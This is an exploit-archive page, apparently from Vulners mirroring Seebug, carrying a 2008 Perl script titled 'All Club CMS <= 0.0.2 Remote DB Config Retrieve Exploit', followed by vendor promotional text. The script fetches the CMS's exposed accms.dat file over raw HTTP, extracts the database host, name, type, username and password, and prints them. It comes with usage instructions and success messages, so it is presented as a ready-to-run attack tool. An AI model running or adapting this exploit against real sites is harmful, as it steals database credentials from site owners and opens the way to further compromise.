Lucene search
K

All Club CMS <= 0.0.2 Remote DB Config Retrieve Exploit

🗓️ 29 Nov 2008 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 14 Views

All Club CMS <= 0.0.2 Remote DB Config Retrieve Exploit by athos - staker[at]hotmail[dot]it. Usage: perl exploit.pl localhost/cms [MODE] perl exploit.pl localhost/cms all perl exploit.pl localhost/cms default NOTE: Don't add me on MSN Messenge

Code

                                                #!/usr/bin/perl 

=about

 All Club CMS &lt;= 0.0.2 Remote DB Config Retrieve Exploit
 -------------------------------------------------------
 by athos - staker[at]hotmail[dot]it
 download on http://sourceforge.net
 -------------------------------------------------------
 Usage: perl exploit.pl localhost/cms [MODE]
        perl exploit.pl localhost/cms all 
        perl exploit.pl localhost/cms default    
 -------------------------------------------------------
 NOTE: Don't add me on MSN Messenger
                

=cut

use strict;
use warnings;
use IO::Socket;
use LWP::UserAgent;

my (@conf,$result);

my $host = shift;
my $path = shift;
my $mode = shift or &amp;usage;
my @data = split /=\s/,dbconfig();

die &quot;Exploit Failed!\n&quot; unless(join('',@data) =~ /DB_PASS/i);

if($mode =~ /all/i)
{
   my $http = new LWP::UserAgent(
                                  agent   =&gt; 'Lynx (textmode)',
                                  timeout =&gt; 5,
                                ) or die $!;  
                              
   my $send = $http-&gt;get(&quot;http://${host}/${path}/accms.dat&quot;);
   
   if($send-&gt;is_success)
   {
      print STDOUT $send-&gt;content;
      exit;
   }
   else
   {
      print STDERR $send-&gt;status_line;
      exit;
   }
}


if($mode =~ /default/i)
{
   $data[9] =~ s/\s/\0/;      # password
   $data[8] =~ s/DB_PASS/\0/; # username
   $data[7] =~ s/DB_USER/\0/; # db host
   $data[6] =~ s/DB_HOST/\0/; # db name
   $data[5] =~ s/DEF_DB/\0/;  # db type

   @conf = (
             'dbhost:'   =&gt; $data[7],
             'dbname:'   =&gt; $data[6],
             'dbtype:'   =&gt; $data[5],
             'username:' =&gt; $data[8],
             'password:' =&gt; $data[9],
          );                

   foreach(@conf)
   {
      $result .= $_;
   }       

   my $content = join '',split / /,$result;

   if($content =~ /(dbhost|dbname|dbtype|username|password)/i)
   {
      print STDOUT &quot;[-] Exploit Successfully!\n&quot;;
      print STDOUT $content;
      exit; 
   }
   else
   {
      print STDOUT &quot;[-] Exploit Failed!\n&quot;;
      print STDOUT &quot;[-] by athos - staker[at]hotmail[dot]it\n&quot;;
      exit;
   }  
}


sub dbconfig
{
   my $html;
   my $sock = new IO::Socket::INET(
                                    PeerAddr =&gt; $host,
                                    PeerPort =&gt; 80,
                                    Proto    =&gt; 'tcp',
                                  ) or die $!;
                                  
                                     
   my $data = &quot;GET /$path/accms.dat HTTP/1.1\r\n&quot;.
              &quot;Host: $host\r\n&quot;.
              &quot;User-Agent: Lynx (textmode)\r\n&quot;.
              &quot;Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n&quot;.
              &quot;Accept-Language: en-us,en;q=0.5\r\n&quot;.
              &quot;Accept-Encoding: text/plain\r\n&quot;.
              &quot;Connection: close\r\n\r\n&quot;;
              
   $sock-&gt;send($data);
  
   while(&lt;$sock&gt;) 
   { 
      $html .= $_; 
   }  return $html if $html =~ m{HTTP/1.1 200 OK};            
}   
   
   
   
sub usage
{
   print STDOUT &quot;[-] All Club CMS &lt;= 0.0.2 Remote DB Config Retrieve Exploit\n&quot;;
   print STDOUT &quot;[-] Usage: perl $0 [host] [path] [mode]\n&quot;;
   print STDOUT &quot;           perl $0 localhost /cms all\n&quot;;
   print STDOUT &quot;           perl $0 localhost /cms default\n&quot;; 
   exit;
}  
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation